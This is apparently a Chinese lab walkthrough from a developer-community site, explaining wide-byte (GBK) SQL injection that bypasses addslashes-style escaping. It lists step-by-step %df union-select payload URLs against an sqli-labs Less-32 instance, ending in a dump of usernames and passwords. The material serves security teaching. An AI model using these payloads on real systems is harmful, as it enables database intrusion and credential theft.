过滤输入的函数:
addslashes
mysql_real_escape_string
mysql_escape_string
当字符的大小为一个字节时,称之为窄字节 例如ascii编码
当字符的大小为两个字节时,称之为宽字节 例如GB2312、GBK、GB8030
mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围
原理:
当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字。
当注入点使用转义函数对输入的特殊字符进行转义时,考虑宽字节注入。
'----->\'
ascii 单字节
GBK 宽字节
📙(1)判断闭合方式
http://124.222.124.9:8888/Less-32/?id=1%df' and 1=2 %23
📚(2)判断列数
http://124.222.124.9:8888/Less-32/?id=1%df' order by 3%23
📓(3)查看回显位置
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,2,3%23
📒(4)查看库名
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,database(),3%23
📃(5)查看表名
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
📘(6)查看列名
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 %23
📔(7)查看字段值
http://124.222.124.9:8888/Less-32/?id=-1%df' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users %23
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。